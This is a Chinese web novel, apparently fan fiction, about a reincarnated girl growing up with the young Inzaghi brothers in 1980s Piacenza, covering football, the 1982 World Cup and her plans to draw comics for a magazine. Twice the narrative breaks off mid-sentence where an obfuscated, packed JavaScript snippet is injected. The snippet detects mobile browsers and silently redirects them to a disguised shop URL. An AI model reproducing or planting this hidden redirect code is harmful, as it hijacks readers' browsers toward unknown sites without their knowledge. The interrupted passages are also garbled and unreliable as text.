玛丽娜看着两人依次坐在自己白色迷你代步车后座,等他们系好安全带,就开到小镇的闹市区,他们抛下新晋小学生,开心地分享着gelato(意式冰淇淋),虽然奥罗拉没吃出跟普通冰淇淋有啥大区别,但是偶尔请假出来玩,还是很欢乐的。 圣尼科洛小学实行的是周一到周六每天上半天课的教学模式,所以到12:30,三个人守在学校门口,菲利普迫不及待跑出来扑在玛丽娜的怀里,脸上有些被太阳晒出的红晕,他放开妈妈后,奥罗拉赶紧把甜筒塞他手心:“这是你这个月的冰淇淋份额,快吃,别化了!”冰淇淋球还没有西蒙内的嘴巴大,顶多尝个味,毕竟一会还要吃午饭。 等菲利普絮絮叨叨完去新学校的感受,他们也到家了,奥罗拉先跑下车,她要去准备送给菲利普的开学礼物——鸡蛋羹。 虽然之前马泰奥介绍了医生帮忙调理菲利普的身体,但他是先天体质问题,治标难治本,后期饮食还是需要注意,多吃一些养胃食物。在身体大了一些,埃琳娜允许她在大人陪同下使用厨房后,她就决定做一点中式美食丰富菲利普的食谱,养护一下这朵脆弱的玫瑰。 昨天跟着露西去中超买了好多材料,今天她就打算试试手。鸡蛋羹是一道很简单的食物,在温水里放一点盐,打入鸡蛋液搅拌均匀,用勺子撇去浮沫,备好蒸锅放入冷水,然后把整碗蛋液放在蒸架上,碗上倒扣盘子盖好,水开后盖上锅盖,中火蒸七八分钟,就完成了。 她主要负责前期工作和数着时间关火,露西帮忙准备蒸锅拿取蛋碗,等露西把鸡蛋羹的盘子打开,用夹子将热腾腾的碗放在岛台上后,她观察了一下,成品嫩黄光滑,像布丁一样Q弹,成功!赶紧用刀小心地在表面划上菱形的线条,随后倒入几勺生抽,撒上一点小葱装饰,一份养胃又美味的中式家常菜就完成了! “菲利普,你试试,这个容易消化,对胃好。要是吃不习惯也没事。”奥罗拉有点忐忑,虽然她觉得鸡蛋羹很好吃,但她拿不准外国小孩的口味。 男孩好奇地看着碗里晃悠悠的黄色块状固体,这跟他平时吃的鸡蛋完全是两种东西,带着对爱洛满满的信任,在蛋羹没那么热了的时候,大口吃下,没一会就空盘了,“你好厉害啊爱洛,我喜欢吃这种鸡蛋。”太好了,她已经教会了露西,日后菲利普就能时不时加餐。 再看其他人尝试后惊讶与享受的神情,奥罗拉放下心来,边享用午餐,边被夸得仿佛厨神再世,她脸都要红了,意大利人的情绪价值真是给的够够的。 4. 足球?足球! 诺大的球场上,二十几个球员正快速奔跑着,黑白的足球在他们的腿下不断滚动,随着球网突然鼓起一道弧度,霎时,看台上的一部分人为这粒进球大声欢呼。 “Goallllllll!”这是菲利普和西蒙内第一次跟随父亲到加里利体育场观看比赛,不同于电视转播比赛的冷静游离,这个可以容纳两万多人的体育场不时爆发的雀跃或遗憾的呐喊,把每个人都拉入到激动热烈的氛围中,成为比赛的一份子,两人站在座位上大力摇晃双臂,菲利普眼神发亮,显然已经深深爱上了这项运动。 同样是人生第一次现场看球赛的奥罗拉,也稍微被周围的人群吓到,谁能想到平时温文尔雅的詹卡洛正挥舞着拳头,大声呐喊,脸都激动红了。 拜国情所赐,奥罗拉上辈子身边的足球氛围并不浓厚,班里十个男生八个玩的是篮球,她因为和舅舅抢着看电视的经历,最讨厌的就是CCTV5台,只看演唱会的她几乎没见过有完整草地的体育场。 但意大利不一样,足球从十九世纪末传入本土,发展迅速,慢慢转化为国家文化符号,不知不觉中,每个城市都有了属于自己的球队,球迷身份超越了阶级和政治立场,很多意大利人在家庭的影响下,一出生就拥有了支持的球队,就这样代代相传。一到国家队比赛日,街上空无一人,他们选择在球场看比赛,在酒吧看转播,在家里看电视,因为足球是全民社交的话题,谈论足球成了生活必不可缺的一部分。 奥罗拉试图参与狂欢,但即使眼睛如何努力追逐足球的运行轨迹,她还是无法参透球赛的快乐,悄悄捂着嘴巴打了个哈欠,用最慢的速度咀嚼薯片消磨时间,并决定以后非必要不来看比赛了。 等脱离拥挤的人流坐上汽车,她感觉比看三场演唱会还累,父子三人却如同打了鸡血,还在讨论着赛场上球员的表现,詹卡洛大声向儿子们解释足球的相关知识,菲利普褪去了日常腼腆温吞的模样,已然沉沦。 “詹卡(菲利普对爸爸的爱称),下一次比赛是什么时候?” “哈哈,我们可以去训练场看球员,我知道皮亚琴查队在哪里训练。” 看来詹卡洛是俱乐部老粉丝了,安利、看线下“演出”、带新人“追私”这一套做得那叫一个行云流水。奥罗拉很好奇球员训练会做什么,几天后也跟着一起。 相比正式比赛,去训练场上围观的球迷还是少了很多,但每个都神情激动,即使球员只是在进行枯燥的跑步和抢圈训练,也看得津津有味。 在训练休息的间隙,詹卡洛不知道和场边的工作人员说了什么,两人很是熟络地互相拍肩,就招呼着三个小孩进入训练场。 奥罗拉根据经验做好了充分准备,拿出了纸和笔去索要签名,虽然不认识人,但她可以帮因扎吉们要嘛。果然,球员面对小孩子还是很亲切的,几乎每个球员都留下了签名,詹卡洛还拿出奥罗拉的相机,帮激动地说不出话的兄弟两和前锋穆里纳奇合影,奥罗拉也在后面蹭到了一点镜头。后面把签名递给菲利普西蒙内时,收获了一箩筐感谢。 为了不影响训练,他们很快就离开了场地回到看台,她发誓,对于菲利普这个新新球迷来说,追线下只有零次和无数次,日后他多次央求父亲带他去看球员训练就证明了这个观点。 该说不愧是男孩子,对运动的喜爱真的与生俱来,最近菲利普和西蒙内不再沉迷于玩具和动画,而是抱着新买的足球互相踢来踢去,为了找到更多人一起玩,菲利普还在学校打听到一处野生的场地。 由于不放心两个小孩子,奥罗拉决定跟着去看看,玛丽娜开着迷你小白车,载着他们到学校后的一片草地上,此时已经有几个小孩在上面奔跑了,时不时能听见皮球沉闷的击打声,菲利普有点怕生,西蒙内又太小,他们决定先在灌木丛中踢一会。 奥罗拉和玛丽娜铺好垫子,坐在一旁,她边看故事书,边看他们玩。两人把半人高修剪好的灌木丛当做足球框,一次又一次把球往夹缝中踢,有时菲利普还会充当守门员,没收西蒙内踢来的球,轻飘飘的,没什么力度。 就这样跟着来了几次,玛丽娜还算比较放心,于是这天让他们慢慢玩,她去超市买东西。或许是看到家长不在,一个长得比菲利普还要大一圈的男孩靠近了他们,问要不要到另一边一起踢。 菲利普牵着弟弟妹妹,犹豫着,最终还是点头了。 一开始,几个男孩子还是比较生疏的互相试探,足球在几个人脚下缓缓换位,奥罗拉盯了一会,低头继续看书。 “你好,你也是陪家人来的吗?”一位浅棕发色的女孩挥着手和她搭讪。 还没等她回应,耳边突然传来西蒙内的哭声,奥罗拉立马冲到人堆里,想了解发生了什么。 “踢球怕什么摔啊,你还没断奶吗?”那个约他们来踢球的男孩,一脸不耐烦,可怜的西蒙内坐在地上,抱着膝盖哭。 此刻她尚且能保持理智,赶紧跑到西蒙内身边,查看他的膝盖,已经青紫了一片,还好没有流血。 “菲利普,发生什么了?”她扶着西蒙内站起来,看向一同跑来的菲利普。 “我刚刚要给西蒙内传球,他为了抢球,就从身后把西蒙内推到地下。”菲利普也生气了:“这明明是犯规动作!” “这明明是犯规~”那个男孩做着鬼脸模仿菲利普说话,根本不知悔改,恶狠狠地拉着菲利普的衣襟,他脖子后被勒出一片红“小男孩,我约翰就是规矩,抢到球就是规矩,你和你弟弟玩不起就滚!” 本着关爱儿童信条的奥罗拉忍无可忍,把约翰的手掰开后一掌将其推开,看似壮实的约翰感觉像撞上了一堵墙,一屁股落到了两米远的草地上,痛得流下生理性眼泪。 一时之间,所有人都惊呆了。 我力气那么大吗?奥罗拉眨了眨眼,高声震慑:“听着,我才是规矩,如果不能好好玩球,请你圆润地像足球一样离开这,滚!” 约翰的其他几个狐朋狗友反应过来,很不服气,围着奥罗拉,菲利普赶紧挡在妹妹身前。 她哪里能让瘦弱的小男孩保护自己,立马越过他,像推多米诺骨牌一样,把这些坏男孩放倒在地:“怎么,等我揍人吗?” 好不容易起身的约翰像见鬼了一样,抛下朋友跑了,这可把男孩们气得够呛,也跟着离开,打算追上约翰给他个教训。 此时草地上就剩下三四个孩子了,他们看着奥罗拉,有些不敢靠近,她主动远离到场边,安抚到:“既然粗鲁的人已经离开,守规矩的人才配得上足球,你们继续吧。” “菲利普西蒙内,你们还要留下来玩吗?”奥罗拉皱了皱眉,又看了一眼西蒙内的腿,踢足球是这么容易受伤的运动吗? 菲利普和西蒙内觉得一切奇幻极了,平时看上去温柔的奥罗拉居然有那么强悍的一面,他们都还没意识到自己被欺负了,一切就都尘埃落定。 “酷!”刚才的小女孩鼓了鼓掌,让奥罗拉有点不知所措:“谢谢?” “约翰是学校里有名的恶霸,很多人早就看他不顺眼了,不过你们小心被报复。”索菲亚耸耸肩:“我是索菲亚。” “谢谢提醒,我叫奥罗拉。”她点头,也有点担忧。 总不能日夜防贼,还是要求助埃琳娜才行,她是老师,更熟悉如何和学校沟通。 为了陪弟弟,菲利普还是决定今天不继续踢球,一起等玛丽娜回来,他两怕被剥夺踢球权,央求奥罗拉不把刚才发生的事情告诉家长。 “菲利普,之后你和西蒙内踢球要更小心,不能欺负人也不能让人欺负了,有事及时告诉我,知道吗?”她叹了口气,打算今晚悄悄摸到他们房间,帮西蒙内上药,至于会不会被发现?反正不是她主动告知的。 这之后,菲利普陆陆续续认识了托罗、毕齐奥等几个小伙伴,他们经常跑到因扎吉家门口约他出去踢球,菲利普总要求带上西蒙内和奥罗拉。学校里悄悄传开那天发生的事情,约翰那帮人在学校老师的千盯万防下不敢来找麻烦,生活终于恢复了安稳。 除了索菲亚时不时找她聊天,其他踢球的男孩对奥罗拉又敬又怕,没人敢在她眼皮底下犯规,日子久了,他们发现,只要不是故意使用暴力,奥罗拉根本理都懒得理他们,于是也放开手脚玩耍。 渐渐地,菲利普对足球的痴迷已经开始影响到生活和学习,她经常听到玛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309208|198750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽娜和埃琳娜抱怨菲利普沉迷足球忘记写作业的事,有时还会忘记吃饭。奥罗拉感到好笑,想起当年为了看电视剧半夜赶作业的自己,全天下的小孩都缺一顿打。 因为父母今晚有事,奥罗拉又到因扎吉家里蹭饭,还没走到门口就听到皮球跳来跳去的声音,一定是菲利普和西蒙内在后院练球。菲利普最近迷上保罗·罗西这个球员,经常模仿罗西踢球的动作,他特别喜欢在球场上当前锋,享受进球的快乐,奥罗拉都被他念叨得搞清楚了球场上球员担当的几种位置:进攻的锋、传递的腰、防守的卫。 今天的晚饭吃得不太安稳,在菲利普匆忙吞了几口饭就打算继续玩球时,詹卡洛按住了他:“菲利普,今天的作业写完了吗?”声音还算比较平静。 奥罗拉默默加快了吃饭速度,不想错过一场好戏。 “我……写完了。” “拿来给我看看。” 菲利普慢吞吞地找到被他丢在房间角落的书包,随手摸了一本单词抄写本出来,放在他严肃的老爸手里。 “我问过老师,这已经是你前天的作业了,昨天和今天的你都没有完成。”詹卡洛翻了翻本子,面无表情,菲利普不敢抬头直视父亲的脸。 “孩子,如果你想继续踢球,那么就要好好上学,完成学校的任务,能做到吗?” 菲利普感到一阵害怕,又有些羞耻,他好像突然从足球的世界中脱离出来,看到妈妈担心的表情,努力憋着眼泪,不住点头。 奥罗拉赶紧把人拉回房间,安慰了几句:“菲利普,如果想当前锋,没有脑子是不行的,一个不认识字的人,连合同都看不懂,教练的战术都听不明白,当不了职业球员。” 她决定帮人帮到底,打电话给他同学打听好了今天的作业,耐下心来辅导菲利普订正和补全,男孩边抄着生词,眼泪一滴一滴落在本子上,可怜又可爱,她偷笑,递纸巾让他先冷静一下,悄悄摸出相机偷录。 “这是菲利普·因扎吉,因为不写作业被家长教育哭了。”她小声凑近收音处。 “爱洛!”菲利普尖叫,扑过来抢夺相机,戳到了她的痒痒肉。 “哈哈哈哈哈,不录了,不录了,你起来。赶紧写你的作业!” 奥罗拉把相机藏好,菲利普也没了哭的心情,只觉得丢脸,在被打回重写好几次后,终于完成今天的学习任务。西蒙内还在上幼儿园,没什么学习压力,找哥哥陪玩被拒绝后,没心没肺地自己在后院继续踢球,菲利普更伤心了。 这些天,父母老师和她轮番敲打,初叛逆的小学生终于洗心革面,学会了分配自己的学习和踢球时间。每当詹卡洛向马泰奥夸赞奥罗拉的自控和好学时,她十分不好意思,毕竟不是第一次当小孩,她小时候仗着聪明干的荒唐事也不少。 好不容易熬到暑假,两家人商量着去撒丁岛度假。 奥罗拉走在沙滩上,呼吸着海风,突然很想自己原来的家乡,那里拥有同样的蓝海白沙,椰子汁带着独特的涩与甜,她曾经坐在渔网做成的吊床上,摇晃着进入梦里。忽然,鼻尖的咖啡味让她回过神来,提醒着她身处意大利。 我是不可能喝苦涩的意式浓缩的,她一边抱怨,一边意兴阑珊地去找兄弟两,他们正趴在沙滩上,专心得连鲨鱼来了都不知道。 “和哥哥干什么呢西蒙内?《米兰体育报》?你看得懂吗?”她坐在一旁,感受阳光照在脸上的热度,想一出是一出:“我们去浮潜吧?算了,马泰奥肯定不给我们自己去,跟大人在一起没意思,我回沙滩椅躺着了,拜拜。” “爱洛,我们一起去吃冰淇淋吧。”菲利普把报纸收起来,感觉自己和弟弟最近太爱足球冷落了奥罗拉,她看起来没精打采。 “走!”站起来拍了拍身上的沙子,他们用里拉买了三个甜筒,并肩坐在太阳伞下,互相分享着彼此的口味。 “哎呀,我忘了录像了!”她赶紧去找埃琳娜要自己的相机,录制自己的度假vlog,兄弟两一旦对着镜头,就表现得很不自然,她只好多拍风景。 时间过得飞快,假期结束后,奥罗拉带着晒黑的皮肤,继续和菲利普当校友,成了家里第二个小学生。 5. 人生的选择 看着画室里只剩残骸的玻璃落地窗,她宣布,9岁的菲利普和6岁的西蒙内正式进入人嫌狗厌的阶段。两兄弟像精力得不到完整释放的金毛,开启了拆家模式,在房顶踢球被玛丽娜制止后,两人转战奥罗拉家的花园,不像玛丽娜种了很多娇弱的花朵,她家花园比较空旷,很适合跑来跑去,一开始他们只是用椅子摆出门框的样子,不停往里头踢球,时不时叫着“球进了”,吵得奥罗拉回到卧室关好了门窗,过了一会,房间里突然变得很安静。 孩子静悄悄,必定在作妖。 奥罗拉放轻脚步,刚要出门查看,就踩到了玻璃渣子,顺着玻璃散落的方向往源头看去,三人大眼瞪小眼,隔着一道门框、一个倒下的椅子、一面破碎的窗口。 菲利普想要跨过剩下的玻璃片进屋把椅子拉出去,被奥罗拉呵止了,交代他们现在回家找出防割手套和扫地工具,一会从正门进来,收拾残局。 她现在冷静得可怕,除了声音大了一些,几乎没什么情绪起伏,两人也知道自己惹祸了,大气都不敢出,压下“球质”跑得飞快。 在拍照留下罪证后,奥罗拉先把画室里的画架和作品搬出来堆在杂物间,之所以没让两人干,就是放心不下男孩子们的毛手毛脚,自己的作品还是自己心疼,按照意大利工人的效率,她都不敢赌是雨先下还是玻璃先补好,何况是那么一大片需要定制的玻璃。 前不久奥罗拉体会了一次大罢工,在公车站等了几个小时去书店的车,只等来了举着牌子抗议的工人,郁闷的她被路人塞了一张传单,一看,也是大开眼界,原来罢工可以像法定假期一样出时间表提醒市民谨慎出行,还怪贴心哩! 受罢工风潮影响,她的画室怕不是要维持现状几个月,如果他两拆家的习惯改不掉,那日后媒体采访球星童年玩伴时,她将疯狂爆料他们调皮惹祸的黑历史。 等兄弟两回来,奥罗拉双手交叉抱于胸前,冷酷地指挥他们穿好拖鞋和手套,先把一地碎渣扫了倒在结实的麻袋里,再把椅子放回原地,最后用拖把清洗了整个一楼,他们累得手臂快抬不起来了,却也不敢停下。 看在两人积极悔改的份上,奥罗拉把写着[内有玻璃,小心割手]的麻袋打了个死结,让兄弟两一起拖到屋外的垃圾桶内。“至于这个足球,你们把今天的事告诉詹卡洛和玛丽娜,让他们亲自来领吧。”她学着颠了几下球,没成功,把它推到角落里。 她一般不会跟小孩计较,但也不会一味地溺爱,赏罚分明,就事论事是奥罗拉的人生信条,想让他们印象深刻,必须靠家长的再教育。 本来以为过了今天,因扎吉兄弟会疏远自己,毕竟对他们那么凶那么不近人情,但在詹卡洛和玛丽娜带着孩子给她家再次道歉赔偿后,两人虽然不再来她的花园踢球了,还是跟之前一样喜欢和她玩。 “詹卡罚我们站了好久,他说我们之后几个月的零花钱要用来买玻璃。”菲利普约着奥罗拉去他家看世界杯转播,今年的世界杯在西班牙举行,由于工作原因,詹卡洛没有到现场,大多数时间去酒吧和朋友一起看比赛,留孩子在家看电视。 听着哥哥交代玻璃事件的后续,西蒙内机灵地抱着好几袋零食跑来:“奥罗拉,你吃。” “乖。”揉了揉毛茸茸的脑袋,确认兄弟两对她毫无芥蒂了,本就是为了缓和关系答应邀约的她向菲利普讨教队员都是谁,男孩如数家珍,介绍到保罗·罗西时音调上扬,这也是她唯一听过名字的场上球员,难免更加关注。 这一场是世界杯第二轮末尾小组赛,意大利迎战巴西,她隐约记得巴西足球挺厉害,却不知道这一场比赛对意大利人民的重要性。因为赛制更改,第一轮艰难出线的意大利,在第二轮被扔到所谓的死亡小组,和阿根廷、巴西这两足球强国争取积分,今天的比赛意大利必须击败三场全胜的巴西才能晋级。 才开始没几分钟,奥罗拉就看到保罗·罗西头球破门,意大利惊喜领先,等她吃掉一袋薯片,巴西球员就把比分扳平了,因扎吉们长吁短叹,搞得奥罗拉紧张地再也吃不下去第二包,生怕又被进一球。此前因为丑闻被禁赛,刚复出又陷入进球荒的保罗·罗西,今天注定要成为意大利人的英雄,他上演了帽子戏法,将比分固定在3:2,意大利队顺利进入决赛。(在中文语境里,同一个球员同场比赛进两个球叫“梅开二度”,三个球叫“帽子戏法”,四个球为“大四喜”,五个球是“五子登科”) “我们赢了!” “Forza Azzurri!”(译为:加油,蓝衣军团!意大利国家队球衣颜色为蓝色,蓝衣军团特指意大利。) 提心吊胆九十多分钟的奥罗拉也跟着嚷嚷了几声:“菲利普,不愧是你喜欢的球员!” 意大利已经四十多年没捧起过世界杯冠军奖杯,几日后的决赛,两家人决定共同前往被改造成临时观赛点的露天影院,和圣尼科洛的市民们一起见证奇迹。 奥罗拉用埃琳娜的化妆品,在自己和因扎吉兄弟的脸上画着绿白红三道竖条,三人坐在前排,手上扬着国旗,好一个可爱的氛围组,期间还撞见了几个同学老师。她拜托路过的索菲亚为他们合影留念,两家人热热闹闹,传递着饮料和零食,对奥罗拉而言就像参加了一次包场粉丝聚会,大家交谈着最爱的球员,表达对获胜的渴望。 人们跟着球队一起,大声唱着国歌,用自己的方式为队员加油打气,奥罗拉边唱边转头看着菲利普,想起未来他的某任女友在冬奥会开幕式献唱国歌的事,有点微妙。 决赛上,意大利对阵德国战车,一开始就尽显攻势,可惜在点球时没能改写比分,直到下半场,意大利队调整好了状态。(一场比赛的标准时长为90分钟,分为上下两个半场,各45分钟。) “罗西!Goalllllll!”影院里市民的呐喊是无数国民激动的缩影,又是保罗·罗西!又是头球破门!好多人手里的饮料被晃得撒了出来,但没人在意,因为塔尔德利和阿尔托贝利接连将球送进了德国队的门框里,比分已经来到了梦幻般的3:0,几乎锁定了胜局!纵使最后德国顽强地打进了一球,也不影响意大利终于捧起了大力神杯! “我们是冠军!”大家喜极而泣,在烟花下,和身边的人拥抱,不管喝没喝酒,都激动得语无伦次。 毕竟这一年的国家队,一开始表现并不强势,几个主力队员此前陷入舆论风波,第一轮比赛只打平没赢过,第二轮却连胜两强国,低开高走,最终在伯纳乌球场获得了最高荣耀,罗西理所当然收获了最佳射手和最佳球员的奖项,成为无数踢球孩子的榜样。 这个冠军,让意大利从七八十年代极端主义思潮和频发的恐怖袭击中喘过气来,世界杯后,球星普拉蒂尼加盟尤文图斯俱乐部,开启了意甲吸引世界级巨星的浪潮,意大利联赛慢慢酝酿了“小世界杯”的美誉。 “菲利普,你想不想学踢球?”受最近社会氛围的影响,学校里踢球的人越来越多,玛丽娜接儿子放学的时候,学校老师找她谈了几句,他认为菲利普在踢球上很有天分。本来只把孩子踢球当做娱乐的玛丽娜,回到家就把这件事告诉了詹卡洛,热爱足球的詹卡洛思考了许久,做了一个决定。 小小的菲利普,还没明白父亲的话语意味着什么,只要是关于足球,他没道理不答应,在旁边一起写作业的奥罗拉却仿佛看到了一个传奇,在这样平凡的夜晚,诞生了。 为了推广足球,意大利政府很重视青训的培养,球员无需支付注册费、训练费或选拔费,甚至会提供交通补贴、免费教材、课后餐食等支持,让经济困难家庭子女免除后顾之忧。结合小学的半天制教学,很多青训机构会和指定学校合作,将训练安排在下午,不会影响文化课。了解到这些规定,奥罗拉感慨,意大利何愁不出足球人才呢? 詹卡洛把菲利普带入圣尼科洛足球俱乐部,这是一家业余俱乐部,离家不远,足以让这个年纪的孩子系统地学习足球知识,更科学地训练。 奥罗拉牵着西蒙内,出于好玩,她也跟着来面试。 俱乐部人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309209|198750||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 员面露难色,虽然今年启动了第一届欧洲女子足球锦标赛,意大利也参加了,但只限于国家成年队伍,在青年梯队建设方面,资源全倾向于男足,也就是说,俱乐部并不收女学员。 她倒是没被打击,只想要测测体能,弄清自己的潜力。梅森看着女孩闪亮的双眼,心里一软,答应她最后可以单独试试。 参与测试的人不少,梅森将他们分为好几个小组,通过对抗观察孩子们的球感和控球能力,有没有传球的意识,能不能合作。 菲利普虽然比较瘦弱,但跑起来爆发力还是有的,抢球十分积极,也能送出球,选拔教练很满意,他们并不只看体格,更重视孩子的反应速度、平衡感、协调性和空间感知能力,技术和肌肉可以靠努力,但天赋决定了后期发展。 奥罗拉从不担心菲利普能不能通过选拔,她知道,他的足球生涯虽然难但总会成功。 其他人试训结束后,她也兴高采烈地踏上了球场,在其他男孩的议论声中,测试了速度、爆发力、力量,数据名列前茅。最后,她把一颗足球从半场大力轰进了球框内,足球如同一颗子弹把球网拉出最尖锐的弧度,因扎吉一家为她欢呼。 梅森不可置信,这个女孩怎么拥有如此可怕的力量?甚至比很多成年男子都厉害。 “咳,我天生力气比较大,跑得快,但只能踢一踢静止的球,眼睛跟不上高速运动的物体。”奥罗拉知道自己的弱点,这也是她无法爱上足球的原因,听着解说还没搞清楚球在哪呢,球就到另一个人脚下了,满脑子都是:发生了啥?又发生了啥? 梅森感到可惜,但无论是现实还是奥罗拉的意向,都说明了她与足球无缘。 一行人在工作人员指引下,拿着菲利普的出生证明、住址证明、监护人同意证明提交给前台,以便俱乐部将他注册为球员。只有注册为球员,才能正式被纳入青训体系,才有资格参加地区锦标赛、进入职业俱乐部、到国家队试训。 夜晚时分,奥罗拉坐在书桌前,静静思考。 菲利普已经朝人生正确的方向迈出了一步,她呢? 女孩梳理了自己的学习进度:小学课程简单掌握、开始尝试水彩画、也习得了基本的乐理知识。那么,未来几年,是要按部就班学习,还是同步尝试创作?毕竟出名要趁早,既然发展方向确认是广告传媒,要如何将自己超时代的观点融入所学,影响力最大化呢? 在纸上写了几个关键词——[自媒体][VLOG][互动视频] 想了一下又把三个都划掉,她感觉意大利对高新科技接受度挺低的,1982年了,居然还没发展互联网!还没推出手机!没有网络载体很多事情没法做。 只能依托目前辐射范围最广的电视和报刊两大媒体发表作品,电视对现在的她来说门槛太高,可以试试报纸杂志,先投稿一些狗血爱情短篇漫画,如果能登刊并留住一些读者,就可以和编辑商量与广告商以植入的方式合作,这样的作品能丰富她的相关简历。 奥罗拉深挖目标人群——有经济能力会为情绪买单的女性。这样一来,虽然《晚邮报》销量好读者多,但版面内容比较庄重严谨,与自己想画的风格不搭……她盯着窗口,放空了几分钟,忽然离开座位,在书架上翻了又翻,眼睛一亮,《Grazia红秀》!一本深受女性喜爱的时尚杂志,每周出新刊,时效性强,拥有庞大的广告商客群,简直和自己的设想完美符合。 下一步,尽快写出几个故事大纲,让埃琳娜玛丽娜掌眼,挑出她们最想了解后续内容的三个,采用较为华丽繁杂的绘画风格,完成这些故事,最好是做成一个系列,打造自己的IP。 头脑风暴后的奥罗拉感到轻快极了,她也有了看得见摸得着的小目标,像攻打boss,就算一次不成功,boss永远在原地,她知道可以朝哪个方向努力。 同一抹月光下,菲利普怀着对青训营的期待,在床上翻来覆去,而奥罗拉将《红秀》垫在枕头下,祈祷创意大神光临梦境,笑着闭上了眼睛。 6. 首粒进球 菲利普进入青训营的时候已经9岁了,对比那些5岁就被父母寄予厚望送进来的学员,算得上是大孩子,但因为他是半途才加入的,教练安排他和5至8岁这群学员先一起训练一周,适应适应。 为了让孩子们不丧失对踢球的兴趣,青训教练们绞尽脑汁,将训练和游戏融合,让他们能在“玩”中学习相关的技能。 在做完简单的自我介绍后,菲利普跟着大部队来到训练场地,听从教练安排,从筐里拿了一个足球。 “看到这四个圆锥柱了吗?你们八个人一会只能在柱子框出的范围活动,每个人拿好自己的足球,在区域内持球跑动,就像这样。”教练将脚下的球颠起挑高,边慢跑边配合手掌拍打足球的动作,轻松地做出示范。 “等会我发出不同的口令,每个人都要认真听,前三名完成的人可以积3分2分1分,今天各项练习结束后得分最高的人会有奖励。”梅森满意地看着学员跃跃欲试的双眼,就算是热身项目也能培养他们的竞技心态。 他们分散站着,先小心拍打手中的球,再慢慢跑起来,菲利普时不时关注着教练生怕错过口令,还要尽量不跟别人撞到,一心多用,很是紧张。 “将球抛向空中,然后双手接住!” 一声哨音后,学员们手忙脚乱,有的人慢了一拍,有的人将球砸在了地上,菲利普也差点手滑,右脚往前一伸将自己身体送出一段距离才堪堪接住球,明明没有多大运动量,却觉得背后都是汗。 场边的助手也在不断记录学员的表现,为三个完成又快又好的人积分。 “两人一组,把球抛给对方,交换足球。”教练的指令越来越复杂。 菲利普火速抬头,和最近的人对上了眼睛,他两赶紧将球脱手,可惜没有默契,两个球在空中发生碰撞,又往后弹了回来,一个砸到了草地上,一个砸到了路过的另一个小伙伴身上。场上一片混乱,到处是躲闪的身影,仅有一组人完成了交换。 教练笑着加快喊话速度,活动进行了十分钟才停下,菲利普喘着气却觉得很有趣。随后梅森又带他们玩了几个训练控球、跳跃、射门能力的游戏,不知不觉,今天的训练就完成了。 菲利普和陌生的小伙伴们在一次次奔跑中熟悉了彼此,等结束训练,他已经跟之前交换足球的艾米尼奥成了可以勾肩搭背的朋友。 而今天的奥罗拉在做什么?放学回家的她跟两位妈妈报备后,在自己家和因扎吉家里到处搜刮,将找到的所有杂志堆到房间,打算先深入研究《红秀》每个板块的内容。 这本诞生于意大利的杂志,内容十分亲民,不像后世发展成了专攻时尚穿搭的内容,目前《红秀》形成了六大核心版块:“生活智慧”会教主妇制作美食、家务妙招、预算管理;“艾琳娜·梅利克的信箱”与读者直接沟通,纾解她们遇到的婚恋婆媳烦恼;“我的孩子”为妈妈们提供科学育儿建议;“橱窗”则向读者推荐时尚单品,以手绘插画为主;“歌曲角落”将推荐的歌曲与故事结合,引起主妇们的情感共鸣;“医生的建议”让女人们更关注妇科健康。 “在没网络的时代,这真是一本有趣又实用的女性书刊。”奥罗拉翻着书看得津津有味,差点忘了正事,也对自己的选择越发满意。 她的作品可以试着投稿“橱窗”栏目,也可以试试能不能让杂志给她单独开一个板块。 奥罗拉将投稿方式抄录下来放在抽屉,整理好所有杂志,把书桌空出来,向空中喷了几泵橘子味的香水,给自己创造一个舒服的创作环境。 见以往积极吃饭的女儿还没出现在餐厅,马泰奥解开围裙,抬脚踏上楼梯,发现房间里只开了台灯,女孩半趴在桌面上,笔尖起舞,影子在墙面上拉长晃动。 “啪。”他打开大灯,对女儿的坏习惯很无奈。 “说了多少次了,太暗对眼睛不好,先下楼吃饭!” 奥罗拉因为太过专心,被吓了一跳,这才闻到楼下飘来的香气,她放下笔,站起来伸了一下懒腰:“今天吃意大利面吗爸爸?” 马泰奥双手推着奥罗拉的肩膀,让她在餐厅入坐,故作夸张地展开防脏的餐垫铺在她前方,随后将盘子端到她面前:“公主,今天的晚宴主食是意式馄饨,请享用。” 奥罗拉配合这个33岁还如此搞怪的老爸的表演欲,轻轻摇动手腕,好像在拿着羽毛扇扇来扇去,调子拉长:“这个馄饨是来自博洛尼亚还是摩德纳?”(博洛尼亚和摩德纳都声称是意式馄饨的诞生地) “回公主,它来自马泰奥·菲奥蕾。”他用右手拇指朝着自己。 一本正经的回答让奥罗拉笑得抽搐,赶紧结束了这出荒诞剧,认真享用这道艾米利亚地区的传统美食(皮亚琴查是艾米利亚的其中一个行政区,类比中国就是市和省的关系) 马泰奥往里面包了奶酪、猪肉、火腿、菠菜,口味比较复合,她拌了一点番茄酱,吃到一半觉得有点腻,去冰箱里拿出一罐果汁喝。快吃完时,埃琳娜回来了,她抱着课本,和开门的马泰奥互相亲吻着脸颊。 “上课辛苦了,我的皇后。”马泰奥把埃琳娜牵进客厅,服务周到,奥罗拉有眼色的抱着果汁离开,拒绝狗粮:“妈咪你慢慢吃,我去找菲利普!” 